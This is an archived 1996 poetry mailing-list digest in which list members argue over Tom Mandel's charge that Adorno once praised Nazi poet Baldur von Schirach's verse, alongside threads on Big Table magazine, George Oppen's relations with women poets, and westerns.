I find it hard to credit this "regret" that did not lead to repudiation; Adorno had kept his authorship of these words secret for thirty years.

After expressing regret, according to the editors, he goes on to make a series of excuses and concludes that it will be left to the reader "to decide whether those incriminating sentences should be given any weight in assessing my work and my life.... No one... could possibly compare me to Heidegger...."

In discussing what had so angered Arendt, the editors to refer to "Adorno's tactic of insincerity: choosing to ingratiate himself with the Nazis in parenthetical phrases and then asserting in full sentences that his words had not been meant that way; and pointing to someone guiltier to make himself look better. Throughout the letter he uses a logic of evasion that makes it an 'indescribably pathetic' document indeed."

Hard as it is to tell where one patch of mud ends and the next begins, I can't say I feel much difference between the writer of the '34 review and the '64 letter, but like Adorno, I leave it to the reader to decide.

It is instructive to compare the situation of Adorno and that of Paul deMan who was vilified for his collaborationist writings in Belgium. I'm not a fan of Paul deMan and would not wish to explain his situation, far less to explain away his actions, but it is useful to note the differences in the two situations. For one

thing deMan was in a country under military occupation which he was unable to leave.

One could go on comparing the two. Certainly it would be interesting to trace the pressures in their respective works of these episodes in their past. Interesting to someone who has no other flowers to arrange.

I've known about this episode for a few years but haven't had the heart to expose it to others. Only being once again confronted with praise for this disreputable creep, and knowing I would be again, has made me sigh and set down what I've read.

Interestingly, the German students to whom Adorno replied in the '60s seem to have been more or less satisfied with his reply. Perhaps it was enough to see him (indeed, to see a Jew) painted in their own merde. Perhaps his evasions spoke to theirs. That was the sixties; these are the nineties. That was Germany; this is a different place. It will be instructive to see whether/how any of you respond, indeed whether there is any reaction outside this small circle. If so, it will be up to someone else to take the matter any further.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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352. George Bowering
Re: Paul Carroll/Big Table
Thu 12 Dec 1996

> *As I recollect, the _Chicago_Review_ refused (on Faculty advice; hi, guys!) -- to print the materials which later appeared in _Big_Table_ #1, which is why *he* founded the magazine. And yes, it went five issues. Hard to find, nowadays. Or is my memory -- like everyone else's -- up the, hmmmm, creek?*

Nope, that sounds right, PQ. I, of course, have a run, incl. 2 copies of #5.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

353. George Bowering
Re: Notes & Queries
Thu 12 Dec 1996

> *Aldon:*
>
> *You wrote:*
>
> *--I wrenched my back READING Harry Matthews, but I bought season tickets to the Odradek Stadium and have been enjoying the season greatly --*
>
> *1. HOW did you wrench your back?*
> *2. WHERE did you get hold of it? I wanna teach it, thought it was out of print.*
>
> *Peter*
> +
> *Peter Quartermain*
>
> +

Yeah, PQ, it seems hard to believe that the Carcanet edition was publisht 1985!

Hey, if you DO teach it, I am going to tell all your students what you find out in the last 2 pages!

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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354. Thomas Lecky
Re: Paul Carroll/Big Table
Thu 12 Dec 1996

Peter Quartermain wrote:
>
> As I recollect, the _Chicago_Review_ refused (on Faculty advice; hi, guys!)
> -- to print the materials which later appeared in _Big_Table_ #1, which is

> why *he* founded the magazine. And yes, it went five issues. Hard to find,
> nowadays. Or is my memory -- like everyone else's -- up the, hmmmm, creek?
>
> Peter
>
> At 07:15 AM 12/11/96 -0800, Maxine Chernoff wrote:
> >Yes, it was Paul Carroll involvedin the flap about censorship (and
> >Burroughs, I believe) that led to him forming Big Table Books and
> >magazine, which went 5 issues.

To all regarding the Big Table issue:

Actually, Irving Rosenthal, then editor of the Chicago Review, founded Big Table with Paul Carroll after his Winter '58 issue was suppressed. A newspaper columnist had read the first appearence of Naked Lunch in the Autumn '58 issue and wrote an article on the front page of the Saturday Chicago Daily News called "FILTHY MAGAZINE ON MIDWAY." (Rosenthal was instrumental in collating and editing the Naked Lunch manuscript Burroughs had sent him; while Burroughs was in England, Rosenthal and Ginsberg formed the manuscript that Burroughs was ultimately to revise once more (in three weeks) and give to Olympia). Chancellor Kimpton of U. of C. suppressed the issue and Rosenthal refused to put out an "innocuous" issue as the faculty and administration asked. Rosenthal then tried to decide what to do with the material he had collected--some of it was offered to Ginsberg who was editing an anthology for City Lights. The idea to form Big Table was a collaborative one: Paul Carroll, who had been involved with the Chicago Review while a graduate student, helped acquire funds to start a literary mag. The material for the suppressed Winter '58 CR issue became Big Table 1. Included were Burroughs, Edward Dahlberg and Jack Kerouac and the issue was edited and introduced by Rosenthal. The later Big Tables also used material Rosenthal had collected: works by Kenneth Koch, John Ashbery, Alan Ansen, Robert Creeley, John Wieners, etc. The Chicago Review continued under the direction of a student who was willing to put out a few innocuous issues for the school's sake; the remaining staff left with Rosenthal.

Rosenthal went on to write one of the greatest beat novels, Sheeper, in the 60s. Gilbert Sorrentino edited Sheeper while at Grove and Grove published the novel in 1967. Sheeper remains Rosenthal's only novel. Anyway, this might clarify som of these details.

Thomas Lecky

[redacted]

http://www.qwertyarts.com

↑ Index

355. **tmandel**
Re-post of Adorno and the Nazis
Thu 12 Dec 1996

(I repost this because, having cut/paste it from Word, it came thru as a hash the first time)

No poetry after Auschwitz?

In a letter to Karl Jaspers, Hannah Arendt referred to Adorno as "one of the most repulsive human beings I know."

There would be many reasons to hold this opinion, and anyone familiar with the relations between Walter Benjamin and Adorno from the time in the late 30's when Adorno got to America to B's death would be able to arrive at it independently, observing in the correspondence for example a genius of Benjamin's magnitude as he is forced to grovel for a few pennies before a toad like Adorno, forced to hear and treat as significant Adorno's trivial and pettifogging critiques of his work.

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(I should say, btw, that although I am familiar with the Adorno/Benjamin correspondence and with some of Adorno's own writings, none of which I have ever liked, all of which seemed monumentally self-aggrandizing, the affair I am about to narrate I know only second-hand. I rely entirely on a written report in a pair of footnotes to the Arendt/Jaspers correspondence. Fans of Adorno's work, especially those who feel they'd like to complete their acquaintance with his texts, will surely want to read in their original positions the documents referred to below.)

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Baldur von Schirach - an obscure person today thankfully but extremely well-known at the time as a Nazi poet and an adorer of Hitler, to whom the book of poetry was dedicated (to "Adolph Hitler, the Fuhrer")! from which come the texts of the songs. The song cycle bears the same name as the book. The editors of the Arendt-Jaspers correspondence describe it as containing "phrases which even today can be regarded only as obsequious gestures to the Nazis. Adorno apparently was not bothered by the fact that some of the poems advocated mass murder." The review also uses a phrase of Goebbels - approvingly.

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trace the pressures in their respective works of these episodes in their past. Interesting to someone who has no other flowers to arrange.

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Interestingly, the German students to whom Adorno replied in the '60s seem to have been more or less satisfied with his reply. Perhaps it was enough to see him (indeed, to see a Jew) painted in their own merde. Perhaps his evasions spoke to theirs. That was the sixties; these are the nineties. That was Germany; this is a different place. It will be interesting to see whether/how any of you respond, and whether there is any reaction outside this small circle. If so, it will be up to someone else to take the matter any further.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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356. **Douglas Barbour**

Re: Tom Mandel on Adorno

Thu 12 Dec 1996

In response to:

> *Date: Wed, 11 Dec 1996 22:22:33 CST*
> *From: [redacted]*
> *Subject: Adorno and the Nazis*
>
> *No poetry after Auschwitz?*
> *That was Germany; this is a different place. It will be =*
>
> *instructive to see whether/how any of you respond, indeed whether there =*
>
> *is any reaction outside this small circle. If so, it will be up to =*
>
> *someone else to take the matter any further.*
>
> *Tom Mandel*

The whole piece was fascinating, & I for one thank you for it. But maybe that's because I haven't read much Adorno, although I found parts of _Minima

Moralia_ interesting (I was sent to that by a quote in a Jed Rasula piece). On the other hand, I have always found those remarks on jazz (& other aspects of popular culture) so stupid (must be my 'taste'), I could not be sure there would be much of anything I could trust in his work. Benjamin, what I've read, on the other hand, is always brilliant, even when I don't agree.

At any rate, that's a striking tale (a narration of a poetics, to boot?)

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

357. **Aldon L. Nielsen**
Re: Notes & Queries
Thu 12 Dec 1996

1) it was a monkey wrench

2) many years ago, _Odradek_ was in a trilogy volume from, I believe it was, Random House -- Now long out of print -- The volume was remaindered everywhere and for months I snapped up copies (at 1.00 a piece) and gave them to people -- That volume was, in fact, my intro. to Matthews -- who I have treasured ever since -- Keep hoping Dalkey Archive or somebody might reissue it --

↑ Index

358. **Aldon L. Nielsen**
Re: To have knocked an Adorno, this is not vanity
Thu 12 Dec 1996

Adorno's "jazz" commentary a good example for our recent discussion, which I will not here rehash -- It's clear that whatever else Adorno knew, and he knew quite a bit about quite a lot I still believe, he had little technical knowledge of jazz and the playing thereof --

AND, there is a substantial collection of Arendt-related material in the ms. division of the Library of Congress in D.C., for any on this list interested in following up on some of the issues Tom raises here -- I had quite a good lunch-time conversation with a grad. student who was working with those papers at the same table I was at working on Tolson one Summer --

Gwyn, and others in DC area -- You going to be at either of these readings Rod tells me about Saturday & Sunday?

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359. **Rachel Blau DuPlessis**
(no subject)
Thu 12 Dec 1996

Peter's piece on Oppen and women is a topic that could be expanded multiple times, since many poets (m) have had interesting relations with poets and others of the female persuasion. Indeed, given that there are probably 4 genders easily (male, female, boy, girl), and that they are going to be all mixed up----proof that there are 4 genders: see Freud on girls. Any of the essays on sexuality, the oedipus complex. Anyway, my opinion is that George was a man and a girl both. I won't myself flirt and ask if "anyone is intereste d" in my comments, nor do I want to lurk. Oppen was rather more egalitarian and accepting of women as artistic producers than many males I ran into, or up against, in approx. 1965. He seemed curious as to what would emerge from women, and seemed to recognize that that "sector" was under-represented and poorly treated in culture at that moment. This curiosity had a number of sources in his life and politics (I won't go thru them all); One might have been the political culture of the left, including the CP "line" on (i.e. sort of against) male chauvinism. (Their term.) He saw women, as he saw men, as comrades in poetry. He demanded a great deal of both groups; he pursued a real committment to poetry and to the ethics and seriousness of the word. Anyone raised a female (and others, possibly) know well that some of that up-raising is debilitating, makes you want others to treat you just a little more nicely, kid gloves, all that. Almost 100% (in my view, this is my opinion only) George did not; he didn't play that game. It was bracing. AND YET, he loved women--a deep, fantasy-laden love for women as vulnerable, as strong, as desirable, as independent, as a very special kind of companion. So he put his intensity and grasp of things in your way and didn't soft-pedal. He would say things like "put your intelligence into your poems" which just about no one was saying to young women in approx 1967. It is hard to reconstruct how drenched in a gut wrenching disregard for women and girls our culture was just a few decades back, how difficult it was to be a promising young women artist, how blasting it was to navigate the hypocricies and barriers that many men, old and young, threw down for you. And how internalized complaisance and minority were for young women. [para. break] Despite his ethos of sincerity and his horror of the un-won (which shriveled 99% of poetry for him), he could be played false--and it is often in his writing on women. Aldon Nielsen was the first to point to the weird voyeurism of race and gender in "The Zulu girl" and I am not fond of the

slight sentimentalizing of women at the end of Of Being Numerous ("my daughter my daughter"). There's a lot more to be said. Those interested in pursuing it might check the Letters. I tried very hard to identify, isolate, and propose the places where Oppen opined on women, and these are set forth in the index I prepared to the letters (p. 434). The thing that he didn't like--he would go (as he did on Levertov) ballistic, was any time he felt a women poet was being "a good girl." That was very bracing, indeed, given everything, and I have tried hard to stay un-good forever after. (The "good girl" are my words, not his.) OK girlfriends (and possibly boyfriends)--that's my post. Rachel

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360. Jeremy F Green
Re: Adorno and the Nazis
Thu 12 Dec 1996

A very hasty (because pressed for time) response to Tom Mandel's post (perhaps just to get the ball rolling...)--

Thanks for the reference to the review in Die Musik. I would be very interested to hear what anyone who knows the Adorno bibliography better than I do has to say about this.

Treating the attack not simply as ad hominem (which it was), a couple of quick points:

--Arendt's record on denunciation is far from spotless--witness her silence vis-a-vis Heidegger's silence.

--Adorno's response to Benjamin's Baudelaire piece (letter of 10 Nov.1938) might well be described as bullying (and may indeed have had a very serious effect on Benjamin's work on the Arcades project and his relation to the Institute), but his objections are far from trivial. They raise very important questions about the relationship between Benjamin's critical procedure and his Marxism. See, for starters, the brief piece (called 'The Frog and the Prince', I think) in Giorgio Agamben's _Infancy and History_.

--Yes, Benjamin was "a genius of [whatever] magnitude" and Adorno, in his later work, is deeply indebted to him (and acknowledges it: see the essay on WB in _Prisms_ and sundry comments in _Aesthetic Theory_; and indeed, the famous remark that got this thread going should surely be read in the context of WB's great thesis about culture and barbarism in 'Theses on the Philosophy of History').

--Likening Adorno to Paul de Man seems hazardous indeed, not least because the burden of Adorno's work from _Dialectic of Enlightenment_ on (and earlier too, I dare say) was the most sustained and serious attempt to grapple with the

implications of the Nazi (and Stalinist) era. (to dismiss all this as 'self-aggrandizing' is simply a refusal to read--which is not to say that Adorno is not also often a pain in the neck to read)

And let me toss out this question (probably rhetorical): doesn't the gesture of removing Adorno from the constellation in which Benjamin's work was written (and should surely be read) constitute a refusal to face the political questions Benjamin raises?

Well, that's my scuffle with the gauntlet Tom Mandel threw down ... who's next?

jfg

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361. Mark Wallace
computers, academies, slavery
Thu 12 Dec 1996

I've noticed that with all this recent discussion of poets who work in the academy analyzing the academy, and poets who work in the computer field analyzing the academy, that these same poets haven't been discussing the computer industry.

So--Tom, Ron (Bill Luoma maybe too, right?), a question for you. While in many instances I agree with your critique of the academy (I know a slave when I am one), there's seems to be in your posts the suggestion that your own choices regarding economic matters and survival have been better ones. So, tell us about the computer industry. You're not slaves there, I take it? Or at least not slaves to the same degree? I'd be curious to know how your own industry affects your creative life. Why is that choice working for you, if it is? We're NOT talking about the difference between slaves and slave owners, right? Is opportunity there, where you are? For whom?

Please excuse the inability of this modem to "correct" "errors."

Mark Wallace

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362. jdhollo
Adorno
Thu 12 Dec 1996

(Anselm Hollo)

Lost whatever sympathy I ever had for Herr Adorno after coming across his views on jazz (in some issue of October magazine, I think)

Then wrote the following otherwise so far unpublished (and, in view of what Tom Mandel has just told us, excessively kind) petit poeme:

FROM THE JAZZ ARCANA

I'm sorry
I guess I never listened to the stuff
past ca. 1925

Please convey
my particular apologies
to Mr. Ornette Coleman

Yours from the beyond,
Theodor W. Adorno

But to dig Lieder composed to text by Herr von Schirach (who got his comeuppance from some smart Czech partisans, I believe)... The merde gets pretty deep.

Anselm Hollo

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363. **Jeremy F Green**
Re: Adorno and the Nazis
Thu 12 Dec 1996

Apologies to all if this shows up twice--think I dabbed the wrong key last time

> *A very hasty (because pressed for time) response to Tom Mandel's post (perhaps just to get the ball rolling...)--*
>
> *Thanks for the reference to the review in Die Musik. I would be very interested to hear what anyone who knows the Adorno bibliography better than I do has to say about this.*
>
> *Treating the attack not simply as ad hominem (which it was), a couple of quick points:*
>
> *--Arendt's record on denunciation is far from spotless--witness her silence vis-a-vis Heidegger's silence.*
>
> *--Adorno's response to Benjamin's Baudelaire piece (letter of 10 Nov.1938) might well be described as bullying (and may indeed have had a very serious effect on Benjamin's work on the Arcades project and his relation to the Institute), but his objections are far from trivial. They raise*

> *very important questions about the relationship between Benjamin's critical procedure and his Marxism. See, for starters, the brief piece (called 'The Frog and the Prince', I think) in Giorgio Agamben's _Infancy and History_.*
>
> *--Yes, Benjamin was "a genius of [whatever] magnitude" and Adorno, in his later work, is deeply indebted to him (and acknowledges it: see the essay on WB in _Prisms_ and sundry comments in _Aesthetic Theory_; and indeed, the famous remark that got this thread going should surely be read in the context of WB's great thesis about culture and barbarism in 'Theses on the Philosophy of History').*
>
> *--Likening Adorno to Paul de Man seems hazardous indeed, not least because the burden of Adorno's work from _Dialectic of Enlightenment_ on (and earlier too, I dare say) was the most sustained and serious attempt to grapple with the implications of the Nazi (and Stalinist) era. (to dismiss all this as 'self-aggrandizing' is simply a refusal to read--which is not to say that Adorno is not also often a pain in the neck to read)*
>
> *And let me toss out this question (probably rhetorical): doesn't the gesture of removing Adorno from the constellation in which Benjamin's work was written (and should surely be read) constitute a refusal to face the political questions Benjamin raises?*
>
> *Well, that's my scuffle with the gauntlet Tom Mandel threw down ... who's next?*
>
> *jfg*

↑ Index

364. **Jeremy F Green**
Re: Tom Mandel on Adorno
Thu 12 Dec 1996

(my messages apparently keep getting etherized rather than tabled, so one more try...)

A very hasty (because pressed for time) response to Tom Mandel's post (perhaps just to get the ball rolling...)--

Thanks for the reference to the review in Die Musik. I would be very interested to hear what anyone who knows the Adorno bibliography well has to say about this.

Treating the attack not simply as ad hominem (which it was), a couple of quick points:

--Arendt's record on denunciation is far from spotless--witness her silence vis-a-vis Heidegger's silence.

--Adorno's response to Benjamin's Baudelaire piece (letter of 10 Nov. 1938) might well be described as bullying (and may indeed have had a very serious effect on Benjamin's work on the Arcades project and his relation to the Institute), but his objections are far from trivial. They raise very important questions about the relationship between Benjamin's critical procedure and his Marxism. See, for starters, the brief piece (called 'The Frog and the Prince', I think) in Giorgio Agamben's _Infancy and History_.

--Yes, Benjamin was "a genius of [whatever] magnitude" and Adorno, in his later work, is deeply indebted to him (and acknowledges it: see the essay on WB in _Prisms_ and sundry comments in _Aesthetic Theory_; and indeed, the famous remark that got this thread going should surely be read in the context of WB's great thesis about culture and barbarism in "Theses on the Philosophy of History").

--Likening Adorno to Paul de Man seems hazardous indeed, not least because the burden of Adorno's work from _Dialectic of Enlightenment_ on (and earlier too, I dare say) was the most sustained and serious attempt to grapple with the implications of the Nazi (and Stalin) era (to dismiss all this as 'self-aggrandizing' is simply a refusal to read--which is not to say that Adorno is not often a pain in the neck to read)

And let me toss out this question (probably rhetorical): doesn't the gesture of removing Adorno from the constellation in which Benjamin's work was written (and should arguably be read) constitute a refusal to face the political questions Benjamin raises?

Well, that's my scuffle with the gauntlet Tom Mandel threw down ... who's next?

jfg

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365. **steph4848**
Quartermain/Oppen
Thu 12 Dec 1996

Dear Peter Quartermain, Unfortunately I had to miss your talk at the Poetry Center - but, indeed congratultions on the swelling of attention the subject it has caused! I was drawn to your post in which you suggest something to the effect that George was unique - with the exception of some gay men - in his

interest in work by young women - feminists - in the early seventies. (Your post disappeared but I think that's a fair approximation of what you suggested?)

I think that remark really mis-reads the condition of poetry in the Bay Area in the late sixties and early seventies. I want to assume you are familiar with Momo's Press(??) of which I - who am not gay - was the publisher. It was a very robust period - especially in terms of the writing that emerged with the quite wild emergence of various and often angry liberations (feminist, gay men, lesbians, Latino, Black, Asian, etc.) It was a prolific period in terms of large public readings, magazines and books. My magazine Shocks was partly so named on account of all the friction in the air and sought to critically make some sense of it. Momo's as you might know published first books of Beverly Dahlen and Jessica Hagedorn. Across the Bay, Shameless Hussy and The Women's Press collective were publishing first books of Alta, Ntozake and Judy Grahn among others. The new writers made no bones about centering a new politics within the practice of the poem. For women poets who had been shaped by a male dominated anarchist or apolitical poetics , or those who had been involved with a male-dominated-with-queen-attached matrix (New York school?) - the cross over into an activist poetry that directly challenged a variety of social constructs was a dangerous thing to do. Oppen - who in I my awareness of him made it part of his life to attend to the young and what was going on - was highly attentive and naturally responsive to the unrest. I think it would have been quite unlike him to have remained oblivious. (He once complimented me in letter of thanks for sending him an issue of Shocks as indeed "shocking"). Indeed I believe he was challenged - and perhaps to a degree threatened by the vigor of what was taking place. Intellectually - as a secular and progressive pluralist - I suspect he was all for it. Emotionally I suspect it probably felt dangerous to him and the world of male centered modernism of which he was still in the weave. But as a responsible elder, one who had partly been put back on the map by the young, I think he didn't shy, "rightly or wrongly", from the paternal role of taking part.

I don't know if you ever read the final "Poetry Reading" issue of Shocks #7-8-9 - about 350 pages long - it includes my own account of readings in the Bay Area from the early sixties into the mid-seventies, as well as accounts by Frances Jaffer, Jessica Hagedorn and Thulani Davis. If you haven't, I think it would help fill out the context of this period of Oppen's life. SPD still has a copies of The Poetry Reading - I'm personally down to a couple. If you are further interested in other issues of Shocks and the history of Momo's Press, the Bancroft Library possesses the entire archive. I look forward to going out to the Poetry Center to see you on tape. & I hope anything I have said here is - out of not being at your talk - not said wrongly, or in ignornace Cheers, Stephen Vincent [redacted]

P.S. I would also like to add that in addition to George's interest, there were poets, of which I would include myself, who were neither gay, women, or persons of color who were actively responding to and shaped by the events at hand (Ron Silliman, for one).

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366. **Sarah Hreha**
Re: Paul Carroll/Big Table
Thu 12 Dec 1996

There is a copy of Big Table #1 at my local, expensive rare books shop here in Mpls, or at least it was there last time I looked. Anyone interested?

Sarah

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367. **Aldon L. Nielsen**
Re: mouth breather
Thu 12 Dec 1996

Heading for D.C, and signing off poetics for a bit -- Will check in with archives upon return to see where this Adorno conversation has gone --

Hope everybody has a good break over New Year's, though I know some have to work even that day --

Will see bunches of y'all at MLA -- and hope to be able to read afterwards the papers of those I miss because of listening to even more papers at same time --

blessings, unambiguously, to all, and to all a good night

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368. **tmandel**
ad hominem ad nauseam
Thu 12 Dec 1996

I'm responding to Jeremy Green's post which he cc'd to me back o' the channel.

To take a few particulars first. I didn't liken Adorno to de Man or even liken the two situations to each other. I said I thought it was "instructive to compare" the situations of the two men. The difference between their works is an entirely other matter, and one is entitled to whatever opinion/position one wishes on either body of writing as a whole.

Likening Arendt's silence on Heidegger to Adorno's behavior, on the other hand, really won't do. For one thing, it's irrelevant to Adorno's behavior; for

another, it's not altogether accurate (tho certainly partly so), as anyone reading Arendt's correspondence will understand. I had several conversations with Arendt about Heidegger, by the way, and honesty compels me to say that she did not face the issues very clearly in her relations with me (let it be said that I was a lowly grad student and she may not have felt I'd be able to keep up my side of the discourse, yet.... In any case, her spotlessness is not an issue. Unless Jeremy can find in her history a hint of collaboration at any level whatever. Don't think so.

I don't think either that one can or I did "remove Adorno from the constellation in which Benjamin's work was written...." That would require extra-historical powers beyond my possession during this lifetime, maybe next time around. I don't think as highly of Adorno as Jeremy seems to; I don't think highly of him at all.

In case you hadn't guessed. Which brings me to the most important point I want to make. Yes, as Jeremy remarks, my post on Theodor Wiesengrund-Adorno and his attempt to ingratiate himself with the Nazis by praising Baldur von Shirach's fascist poetry, and his smarmy attempt 30 years later to excuse himself was an ad hominem attack.

It was so for two reasons. These are my beliefs; that's the first reason. And since I received tenure long ago and on another planet I am unmotivated to suppress my beliefs.

That's obvious. Second reason is the more important one. I am not an "expert" on Adorno; it's not my profession. I am not an "expert" on the Holocaust, though I have a substantial connection historically with that phenomenon. And, I am not an expert either on the history of Nazism and the endlessly variable relations to it of individuals alive during its sway. I don't, either, want to be drawn into a debate on the subject or related subjects or on Adorno's work. I don't have anything useful to say about it. It seemed best to me to foreground the revulsion his behavior causes in me, as this is the only authentic relation I have to the subject. It is not a relation that requires any corrective.

A post which presented facts and references and combined them with my personal point of view seemed the mostly likely tactic to get the material out while getting me out of the picture.

December 25 will be the anniversary of the death of Emmanuel Levinas should we wish to mention the name of a philosopher in the context of these exchanges.

Tom Mandel

****

Tom Mandel * 2927 Tilden St. NW

Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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369. David Dowker
The Alterran Poetry Assemblage
Thu 12 Dec 1996

ANNOUNCING new electronic poetry journal:

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

1.0

Adeena Karasick, Andrew Joron, Lisa Samuels, Robert Mittenthal, Sheila Murphy, John Noto, Hank Lazer, Charles Alexander, William Fuller, Laura Moriarty, David Dowker, Christine Stewart, Caroline Bergvall.

Editor: David Dowker

[redacted]
http://www.io.org/~djd/alterran.html

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370. George Bowering
Re: Unorthodox Westerns
Thu 12 Dec 1996

Leoni's Clint E. trilogy were the first
>westerns I ever saw;

That's not possible. If you didnt see the classics and duds that prededed the spaghettis, then you didnt see the spaghettis, because they were contingent on one's being familiar with the genre.

By the way, I was talking with Charles Watts today, mentionmed that in the oater thread no one m,entioned, as I recall, "Ride the High Country," which is usually mentioned by oater fans really soon. Besides having old Randolph Scott, Hollywood's greatest-ever star, it had Joel McRea. Charles wondered why no one had mentioned hgim, a truly great star, and a nose at least as good as Malden's or W.C. Fields's.

George Bowering.

,
2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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371. Dorulet D Ana
Re: Wild taste
Fri 13 Dec 1996

Kali, would you please explain a bit more about narrative/story in the context you are using? do you see it like an individual prism through which the world is viewed, and than recreated IT into a narrative/poetic? Is story=narrative=poetic? I think this is a fascinating subject and would like to understand your pov better.

And Gwyn (hi Gwyn;), NO I don't think animals can have a story, but than I have to understand what it is meant by story in this context and after, do a study on animals to verify the hypothesis:-)

Ana Doina

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372. Thomas Bell
Re: Wild taste
Fri 13 Dec 1996

Even though this thread is about to fade and manu are departing or going on vacation, the broad concepts here of story/narrative/poetics with the injection of animals does raise some problems I think. From an evolutionary/adaptive perspective an animal's (including human qua animal) story/prism is a way of quickly and nonconsciously taking a reading for possible threat and to make meaning of what might or might not have meaning. Premature closure (in a Gestalt sense)can easily lead to problematic errors in cognition (e.g. self-attribution of blame for inexplicable disaaster or trauma). This is quite a distance from my hope for a poetics? tom bell

> *At 10:04 PM 12/12/96 PST, Dorulet D Ana wrote:*
> *Kali,*
> *would you please explain a bit more about narrative/story in the context you are using?*
> *do you see it like an individual prism through which the world is viewed, and than recreated IT into a narrative/poetic? Is story=narrative=poetic? I think this is a fascinating subject and would like to understand your pov better.*

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>
> *Ana Doina*

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373. **Peter Quartermain**
Re: Odradek as tort
Fri 13 Dec 1996

George, that's a great idea. But will they find out what _I_ find out on the last two pages?

>
>Yeah, PQ, it seems hard to believe that the Carcanet edition was publisht 1985!
>
>Hey, if you DO teach it, I am going to tell all your students what you find
>out in the last 2 pages!
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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374. Carnography
Re: Impossibilist Westerns
Fri 13 Dec 1996

> *Scrypt <[redacted]> spat out his snuff and expostulated:*
>
> *Leoni's Clint E. trilogy were the first*
> *westerns I ever saw;*

[note: I should have said *Leone's* Clint E. Trilogy. So shoot me, you bastards.]

George Bowering <[redacted]>, double millionaire, broke his barstool over his handlebar mustache, gripped the handlebars firmly, and drove off toward an afternoon matinee showing of _The Wild Angels_ after pausing to declare:

> *That's not possible. If you didnt see the classics and duds that prededed the spaghettis, then you didnt see the spaghettis, because they were contingent on one's being familiar with the genre.*

Dear George:

Duh-rat you for tempting me away from line-inputting corrections in my FC2 tome just before its deadline. You, McBowering, are a muskrat swallower and a Blunt-EE Racer, and yes, I do mean that as a challenge. Choose your weapons, O'Pard: Earmuff-toss to the death, or noisemakers at dawn.

Apparently, George, light-o'-my-list, you're not as strong believer in what we yankees refer to as deferred memory. I and many other smarmy-brats who were born in the 60's (and, presumably, the 70's and 80's) saw the trilogy before we caught anything by John Ford. For people in their thirties on down, that Argento/Bertolucci-scripted meta-deal might well have been the first cathartic film we *didn't* experience. But enough about me.

Let me get this straight:

> *That's not possible. If you didnt see the classics and duds that prededed the spaghettis, then you didnt see the spaghettis, because they were contingent on one's being familiar with the genre.*

Oh. Oh I see. A few of us thought we had seen the trilogy, but now we learn that, because we hadn't seen "the classics," we didn't really see (or is that "see," George?) Clint's films at all.

Here's your ring back, George. You really are a heartless gunslinger. And let me tell you, Buster: the june wedding's off.

So tell me, George: if some of us had seen *a few* classic westerns first, could we at least be said to have *partially seen* the Leone trilogy? And while we're

on the subject: if a little girl watches _Clueless_ before reading Jane Austen, has she actually seen _Clueless_, or will she be forced to watch that cutesy-wootsy film again in college? If one reads Hart Crane before the metaphysicals, will one be compelled to reread _The Bridge_, lest the Crane experience be wiped from the mind?

Ah, well. Perhaps I had a bit too much opaline back there in the saloon with Sheriff Francis McThompson. But let me say this:

When it comes to westerns, I can appreciate your insistence on a well-rounded education, George. But this "you didnt see the spaghettis" argument is making me feel like some guy in one of those 50's time-travel- what-if scenarios, in which Joe Foont travels back to the stone age, inadvertently steps on a butterfly, and returns to the present to find a trained earwig elected president. (Come to think of it, the earwig part is absolutely true.) So if you'll lend me your Duke Hondo Time- Twister Glasses, perhaps I'll be better able to concede your point.

Thintherely,

Rob Hardin:
Fantoma's Fanboy. Catfight Epicurean. Unseen Legend.

(Intermission)

Act Three

Coucho: I can see your point.
Lepro: Thank you.
Coucho: I like the way you part your hair around it.
Kinko: 'ey, I don't get-a the point, so I can't see-a you head.
Coucho: May I point you in the direction of an optometrist, or perhaps an animal husbandry specialist? Or perhaps you'd prefer to be an animal husband, in which case, let me present Lady Reguthermeyer.
Lady Reguthermeyer (indignantly): *Well!*
Kinko: I'm-a not at all well, 'cause now I can't see-a *neither one-a* you heads.
Coucho: Four heads are better than three. When you grow a frontal lobe, ring me, Sister, and I'll consider this a quartet.
Kinko: Ah, yer screwy! If-a I can't see-a you head, how'm I supposed to read-a the music?
Coucho: I can see you perfectly well, Birthday Boy, and your pants are by fruit-of the-loon.

(Curtain. Hisses. A massive refund follows.)

http://www.interport.net/~scrypt

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375. **Patrick Foley**
Re: Wild taste
Fri 13 Dec 1996

> *From an evolutionary/adaptive perspective an animal's (including human qua animal) story/prism is a way of quickly and nonconsciously taking a reading for possible threat and to make meaning of what might or might not have meaning. Premature closure (in a Gestalt sense)can easily lead to problematic errors in cognition (e.g. self-attribution of blame for inexplicable disaaster or trauma). This is quite a distance from my hope for a poetics?*

Tom,

Good point -- though I'm not quite sure which way you're slanting it, on account of that question mark at the end. This is what I was getting at with my doctor story -- missing symptoms because you already "know" what's wrong -- and the more general point that sometimes people resist for very good reasons the tendency to create narrative out of experience, those reasons often having to do with accurate cognition. The description/explanation split I referred to, and which I get mainly from Wittgenstein's emphasis on same. (The example of Foucault, from my misspent youth, probably also influences my view of this, the way he used to say that confinement just "happened" and that his work was a description of that "event", without offering anything like an explanation.)

Funny thing of course that the example I've made up I present as a story with causal relations: the doctor made the misdiagnosis because he didn't perceive certain symptoms because he had a preconceived idea of the patient's illness. What can we deduce from my mode of presentation (or Wystan's noting that my long post had lots of stories in it, as this one does)? I don't know. I seem to have some distrust of narrative, some, maybe less than I have trust in it but _some_ -- now do I have that distrust because of some narrative I've bought into? a narrative like this one about the doctor? or like yours, Tom?

